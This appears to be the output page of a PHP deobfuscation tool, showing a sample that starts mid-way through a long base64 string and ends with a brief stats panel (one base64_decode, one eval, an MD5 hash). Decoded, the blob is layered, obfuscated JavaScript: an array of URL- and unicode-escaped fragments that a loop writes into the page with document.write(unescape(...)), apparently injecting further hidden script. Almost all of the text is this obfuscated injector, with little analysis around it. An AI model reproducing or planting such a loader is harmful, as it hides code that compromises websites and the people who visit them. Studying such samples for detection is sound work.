1Q3UwMDIyIjsKZkY3ZVNEOFsyN109IiUyNTVDdTAwM2UlMjU1QyI7CmZGN2VTRDhbMjhdPSJ1MDA2NCUyNTVDdTAwIjsKZkY3ZVNEOFsyOV09IjZmJTI1NUN1MDA2MyUyNTVDIjsKZkY3ZVNEOFszMF09InUwMDc1JTI1NUN1MDA2IjsKZkY3ZVNEOFszMV09ImQlMjU1Q3UwMDY1JTI1NUN1IjsKZkY3ZVNEOFszMl09IjAwNmUlMjU1Q3UwMDc0JTI1NSI7CmZGN2VTRDhbMzNdPSJDdTAwMmUlMjU1Q3UwMCI7CmZGN2VTRDhbMzRdPSI3NyUyNTVDdTAwNzIlMjUiOwpmRjdlU0Q4WzM1XT0iNUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMzZdPSIwMDc0JTI1NUN1MDA2NSUyNSI7CmZGN2VTRDhbMzddPSI1Q3UwMDI4JTI1NUN1MDAyIjsKZkY3ZVNEOFszOF09IjclMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFszOV09IjAwNzUlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs0MF09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFs0MV09IjAzMyUyNTVDdTAwNjMlMjUiOwpmRjdlU0Q4WzQyXT0iNUN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbNDNdPSI1JTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNDRdPSIwMDMwJTI1NUN1MDAzNSI7CmZGN2VTRDhbNDVdPSIlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzQ2XT0idTAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFs0N109IiUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzQ4XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbNDldPSI0JTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzUwXT0iQ3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFs1MV09IjUlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs1Ml09IjAwMzAlMjU1Q3UwMDM1JTI1NSI7CmZGN2VTRDhbNTNdPSJDdTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbNTRdPSI1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbNTVdPSJ1MDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzU2XT0iNUN1MDAzNCUyNTVDdTAwIjsKZkY3ZVNEOFs1N109IjM5JTI1NUN1MDA1YyUyNTVDdSI7CmZGN2VTRDhbNThdPSIwMDc1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzU5XT0iQ3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs2MF09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzYxXT0idTAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFs2Ml09IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbNjNdPSIzMCUyNTVDdTAwMzUlMjU1IjsKZkY3ZVNEOFs2NF09IkN1MDAzNCUyNTVDdTAwNSI7CmZGN2VTRDhbNjVdPSJjJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFs2Nl09InUwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbNjddPSI1Q3UwMDMyJTI1NUN1IjsKZkY3ZVNEOFs2OF09IjAwMzAlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNEOFs2OV09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbNzBdPSIzMCUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs3MV09IkN1MDAzNSUyNTVDdTAwMyI7CmZGN2VTRDhbNzJdPSIzJTI1NUN1MDA1YyUyNTVDdTAiOwpmRjdlU0Q4WzczXT0iMDc1JTI1NUN1MDAzMCI7CmZGN2VTRDhbNzRdPSIlMjU1Q3UwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4Wzc1XT0iMzUlMjU1Q3UwMDMyJTI1IjsKZkY3ZVNEOFs3Nl09IjVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbNzddPSI3NSUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzc4XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbNzldPSI0JTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbODBdPSIwMDVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbODFdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs4Ml09IjAwMzAlMjU1Q3UwMDMzIjsKZkY3ZVNEOFs4M109IiUyNTVDdTAwNjQlMjU1Q3UwIjsKZkY3ZVNEOFs4NF09IjA1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4Wzg1XT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbODZdPSIwJTI1NUN1MDAzNiUyNTUiOwpmRjdlU0Q4Wzg3XT0iQ3UwMDM4JTI1NUN1MCI7CmZGN2VTRDhbODhdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4Wzg5XT0idTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzkwXT0iMCUyNTVDdTAwMzclMjU1QyI7CmZGN2VTRDhbOTFdPSJ1MDAzNCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4WzkyXT0iNUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbOTNdPSIwMDMwJTI1NUN1MDAzMCI7CmZGN2VTRDhbOTRdPSIlMjU1Q3UwMDM3JTI1NUN1IjsKZkY3ZVNEOFs5NV09IjAwMzQlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNEOFs5Nl09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbOTddPSIzMCUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzk4XT0iMDAzNyUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs5OV09IkN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFsxMDBdPSI3NSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMDFdPSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTAyXT0iMzMlMjU1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxMDNdPSIwMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMTA0XT0iJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxMDVdPSJ1MDAzMCUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzEwNl09IjVDdTAwNjYlMjU1Q3UwMCI7CmZGN2VTRDhbMTA3XT0iNWMlMjU1Q3UwMDc1JTI1NUN1IjsKZkY3ZVNEOFsxMDhdPSIwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTA5XT0iNUN1MDAzMiUyNTVDdTAiOwpmRjdlU0Q4WzExMF09IjA2NiUyNTVDdTAwNWMiOwpmRjdlU0Q4WzExMV09IiUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzExMl09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMTNdPSI1Q3UwMDM2JTI1NUN1MDAzIjsKZkY3ZVNEOFsxMTRdPSI0JTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsxMTVdPSJ1MDA3NSUyNTVDdTAwMyI7CmZGN2VTRDhbMTE2XT0iMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTE3XT0idTAwMzYlMjU1Q3UwMCI7CmZGN2VTRDhbMTE4XT0iMzElMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTE5XT0iQ3UwMDc1JTI1NUN1MDAiOwpmRjdlU0Q4WzEyMF09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTIxXT0iMDAzNyUyNTVDdTAwMzQiOwpmRjdlU0Q4WzEyMl09IiUyNTVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbMTIzXT0iNzUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzEyNF09InUwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFsxMjVdPSI2JTI1NUN1MDAzMSUyNTUiOwpmRjdlU0Q4WzEyNl09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTI3XT0iNSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMjhdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsxMjldPSIwMzIlMjU1Q3UwMDY1IjsKZkY3ZVNEOFsxMzBdPSIlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzEzMV09InUwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTMyXT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTMzXT0iNyUyNTVDdTAwMzQlMjU1Q3UwIjsKZkY3ZVNEOFsxMzRdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzEzNV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzEzNl09IjMwJTI1NUN1MDAzMyUyNTVDIjsKZkY3ZVNEOFsxMzddPSJ1MDAzMCUyNTVDdTAwNSI7CmZGN2VTRDhbMTM4XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzEzOV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE0MF09IjAlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzE0MV09InUwMDMwJTI1NUN1MDA1IjsKZkY3ZVNEOFsxNDJdPSJjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE0M109IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzE0NF09IjAzMCUyNTVDdTAwMzYlMjU1QyI7CmZGN2VTRDhbMTQ1XT0idTAwNjMlMjU1Q3UwMDVjIjsKZkY3ZVNEOFsxNDZdPSIlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzE0N109InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzE0OF09IjMwJTI1NUN1MDAzNyUyNSI7CmZGN2VTRDhbMTQ5XT0iNUN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsxNTBdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNTFdPSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTUyXT0iMzAlMjU1Q3UwMDMyJTI1NSI7CmZGN2VTRDhbMTUzXT0iQ3UwMDY1JTI1NUN1MDA1YyI7CmZGN2VTRDhbMTU0XT0iJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFsxNTVdPSJ1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxNTZdPSIzMCUyNTVDdTAwMzYlMjU1Q3UiOwpmRjdlU0Q4WzE1N109IjAwNjYlMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTU4XT0iQ3UwMDc1JTI1NUN1MDAiOwpmRjdlU0Q4WzE1OV09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTYwXT0iMDAzNyUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzE2MV09IjVDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE2Ml09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzE2M109InUwMDMwJTI1NUN1MDAzNiUyNSI7CmZGN2VTRDhbMTY0XT0iNUN1MDAzNyUyNTVDdTAwIjsKZkY3ZVNEOFsxNjVdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNjZdPSJDdTAwMzAlMjU1Q3UwMDMwIjsKZkY3ZVNEOFsxNjddPSIlMjU1Q3UwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4WzE2OF09IjY2JTI1NUN1MDA1YyUyNTUiOwpmRjdlU0Q4WzE2OV09IkN1MDA3NSUyNTVDdTAiOwpmRjdlU0Q4WzE3MF09IjAzMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTcxXT0idTAwMzclMjU1Q3UwMDM3IjsKZkY3ZVNEOFsxNzJdPSIlMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFsxNzNdPSIwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTc0XT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTc1XT0iMDAzNiUyNTVDdTAwMzglMjU1IjsKZkY3ZVNEOFsxNzZdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE3N109IjUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbMTc4XT0iQ3UwMDMwJTI1NUN1MDAzNiI7CmZGN2VTRDhbMTc5XT0iJTI1NUN1MDAzNSUyNTVDdTAwIjsKZkY3ZVNEOFsxODBdPSI1YyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzE4MV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE4Ml09IjAlMjU1Q3UwMDM3JTI1NUMiOwpmRjdlU0Q4WzE4M109InUwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4WzE4NF09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE4NV09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzE4Nl09IjAzMCUyNTVDdTAwMzYlMjUiOwpmRjdlU0Q4WzE4N109IjVDdTAwMzUlMjU1Q3UwIjsKZkY3ZVNEOFsxODhdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsxODldPSIlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTkwXT0iMDMwJTI1NUN1MDAzMiI7CmZGN2VTRDhbMTkxXT0iJTI1NUN1MDA2NSUyNTVDdSI7CmZGN2VTRDhbMTkyXT0iMDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzE5M109IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTk0XT0iMzAlMjU1Q3UwMDM2JTI1IjsKZkY3ZVNEOFsxOTVdPSI1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxOTZdPSIwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFsxOTddPSI1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzE5OF09IkN1MDAzMCUyNTVDdTAwMzciOwpmRjdlU0Q4WzE5OV09IiUyNTVDdTAwMzMlMjU1Q3UwIjsKZkY3ZVNEOFsyMDBdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzIwMV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzIwMl09IjMwJTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbMjAzXT0iMDA2NSUyNTVDdTAwNSI7CmZGN2VTRDhbMjA0XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzIwNV09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMDZdPSI1Q3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIwN109IjYzJTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsyMDhdPSJ1MDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzIwOV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMTBdPSIwMzIlMjU1Q3UwMDY2JTI1NSI7CmZGN2VTRDhbMjExXT0iQ3UwMDVjJTI1NUN1MCI7CmZGN2VTRDhbMjEyXT0iMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMjEzXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjE0XT0iMDAzNSUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMTVdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzIxNl09IjUlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMjE3XT0iMDMwJTI1NUN1MDAzNCUyNTUiOwpmRjdlU0Q4WzIxOF09IkN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsyMTldPSI1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyMF09IjVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMjFdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMjJdPSIlMjU1Q3UwMDMyJTI1NUN1MCI7CmZGN2VTRDhbMjIzXT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjI0XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjI1XT0iMDAzMCUyNTVDdTAwMzQlMjUiOwpmRjdlU0Q4WzIyNl09IjVDdTAwMzklMjU1Q3UwIjsKZkY3ZVNEOFsyMjddPSIwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFsyMjhdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMjldPSIwMDMwJTI1NUN1MDAzNSUyNSI7CmZGN2VTRDhbMjMwXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjMxXT0iMDA1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsyMzJdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMzNdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMzRdPSIlMjU1Q3UwMDM0JTI1NUN1MCI7CmZGN2VTRDhbMjM1XT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjM2XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjM3XT0iMDAzMCUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMzhdPSJDdTAwNjUlMjU1Q3UwIjsKZkY3ZVNEOFsyMzldPSIwMjclMjU1Q3UwMDI5IjsKZkY3ZVNEOFsyNDBdPSIlMjU1Q3UwMDNjJTI1NUMiOwpmRjdlU0Q4WzI0MV09InUwMDJmJTI1NUN1MDA3MyUyNSI7CmZGN2VTRDhbMjQyXT0iNUN1MDA2MyUyNTVDdTAwNyI7CmZGN2VTRDhbMjQzXT0iMiUyNTVDdTAwNjklMjU1Q3UiOwpmRjdlU0Q4WzI0NF09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzI0NV09IjQlMjU1Q3UwMDNlJTI1MjclMjUiOwpmRjdlU0Q4WzI0Nl09IjI5JTI1M0Mvc2NyaXB0JTI1IjsKZkY3ZVNEOFsyNDddPSIzRSUyMiUyOSUyOSUzQiUwQSUzQy9zY3JpIjsKZkY3ZVNEOFsyNDhdPSJwdCUzRSI7CmZvciAoaSA9IDA7IGkgPCBmRjdlU0Q4Lmxlbmd0aDsgaSArKykKewogICAgZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoZkY3ZVNEOFtpXSkpCn0KLy8gLS0+Cjwvc2NyaXB0Pg=='));
?> 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 bdc251dc130b3cde67875fc69ff5388d
Eval Count 1
Decode Time 235 ms